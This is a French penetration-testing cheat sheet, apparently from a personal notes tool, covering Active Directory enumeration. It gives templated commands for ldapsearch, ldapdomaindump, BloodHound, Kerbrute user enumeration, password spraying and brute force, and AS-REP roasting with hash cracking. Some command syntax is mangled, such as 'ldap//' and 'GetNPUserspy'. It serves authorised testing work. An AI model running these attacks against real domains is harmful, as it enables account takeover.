MDstable
NoteSnippetChecklistPlaybook

Enumération LDAP / Active Directory

Enumération LDAP et Active Directory : ldapsearch, ldapdomaindump, BloodHound, Kerbrute

snippetintermediate 2026-05-10 4 min read
ldapactive-directoryenumerationpentestbloodhoundkerberos

Objectifs

Cartographier la structure Active Directory : utilisateurs, groupes, GPO, ACL, et chemins d'attaque.

💡 Tip — BloodHound est l'outil le plus puissant pour visualiser les chemins d'élévation dans un AD. Prioriser son utilisation dès que des credentials sont disponibles.

Outils

| Outil | Usage | |---|---| | ldapsearch | Requêtes LDAP manuelles | | ldapdomaindump | Dump complet de l'AD en JSON/HTML | | bloodhound-python | Collecte BloodHound (ingestor Python) | | kerbrute | Enumération utilisateurs via Kerberos | | GetADUsers.py | Liste utilisateurs AD (impacket) |

Ldapsearch — Requêtes de base

bash
Variables
{{TARGET}}
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{OUTPUT_DIR}}
# Bind anonyme — récupérer la base DN
ldapsearch -x -H ldap//{{TARGET}} -s base namingcontexts
# Enumération utilisateurs (bind anonyme)
ldapsearch -x -H ldap//{{TARGET}} -b "DC={{DOMAIN}},DC=local" "(objectClass=person)" cn mail
# Avec authentification
ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}
-b "DC={{DOMAIN}},DC=local" "(objectClass=user)"
cn sAMAccountName mail memberOf > {{OUTPUT_DIR}}/users.txt
# Groupes
ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}
-b "DC={{DOMAIN}},DC=local" "(objectClass=group)" cn member > {{OUTPUT_DIR}}/groups.txt
# Admins du domaine
ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}
-b "DC={{DOMAIN}},DC=local"
"(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC={{DOMAIN}},DC=local))"
# SPN (Kerberoasting)
ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}
-b "DC={{DOMAIN}},DC=local"
"(&(objectClass=user)(servicePrincipalName=*))" cn servicePrincipalName

Ldapdomaindump — Dump complet

bash
Variables
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET}}
{{OUTPUT_DIR}}
# Dump complet de l'AD
ldapdomaindump -u {{DOMAIN}}{{USER}} -p {{PASSWORD}} {{TARGET}} -o {{OUTPUT_DIR}}/ldd
# Sans authentification (bind anonyme)
ldapdomaindump {{TARGET}} -o {{OUTPUT_DIR}}/ldd-anon
# Résultats dans OUTPUT_DIR/ldd/ :
# - domain_users.json / .html / .grep
# - domain_groups.json
# - domain_computers.json
# - domain_policy.json

BloodHound — Cartographie des chemins d'attaque

bash
Variables
{{USER}}
{{PASSWORD}}
{{DOMAIN}}
{{TARGET}}
{{OUTPUT_DIR}}
# Collecte avec bloodhound-python (depuis attaquant)
bloodhound-python -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -ns {{TARGET}}
-c All --zip -o {{OUTPUT_DIR}}/bloodhound/
# Collecte avec SharpHound (depuis une machine Windows du domaine)
# .\SharpHound.exe -c All --outputdirectory C:\temp\bh
# Lancer BloodHound (local)
# sudo neo4j console &
# bloodhound &
# Importer le .zip dans l'interface
# Requêtes BloodHound utiles (dans l'interface) :
# - "Find Shortest Paths to Domain Admins"
# - "Find Principals with DCSync Rights"
# - "List all Kerberoastable Accounts"
# - "Find AS-REP Roastable Users"

Kerbrute — Enumération via Kerberos

bash
Variables
{{TARGET}}
{{DOMAIN}}
{{OUTPUT_DIR}}
{{USER}}
# Enumération d'utilisateurs (pas de credentials requis)
kerbrute userenum --dc {{TARGET}} -d {{DOMAIN}} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o {{OUTPUT_DIR}}/valid-users.txt
# Password spray
kerbrute passwordspray --dc {{TARGET}} -d {{DOMAIN}} {{OUTPUT_DIR}}/valid-users.txt 'Password2024!'
# Bruteforce un compte
kerbrute bruteuser --dc {{TARGET}} -d {{DOMAIN}} /usr/share/wordlists/rockyou.txt {{USER}}

AS-REP Roasting

bash
Variables
{{DOMAIN}}
{{TARGET}}
{{OUTPUT_DIR}}
# Comptes sans pré-auth Kerberos (GetNPUsers.py)
GetNPUserspy {{DOMAIN}} -dc-ip {{TARGET}} -no-pass -usersfile {{OUTPUT_DIR}}/valid-users.txt
-format hashcat -outputfile {{OUTPUT_DIR}}/asrep-hashes.txt
# Cracker les hashes
hashcat -m 18200 {{OUTPUT_DIR}}/asrep-hashes.txt /usr/share/wordlists/rockyou.txt
Checklist LDAP / AD0/10

Pièges fréquents

  • LDAP signing : requis sur Server 2022+ — utiliser LDAPS (636) si LDAP (389) échoue
  • Bind anonyme désactivé : standard sur AD modernes, il faut des credentials
  • Mauvaise syntaxe DN : le domaine corp.local = DC=corp,DC=local
  • BloodHound sans neo4j : démarrer neo4j AVANT bloodhound
  • Kerbrute détecté : génère des logs d'erreurs Kerberos — timing à adapter
OPS·BRAIN v1.075 notes · Securitylocal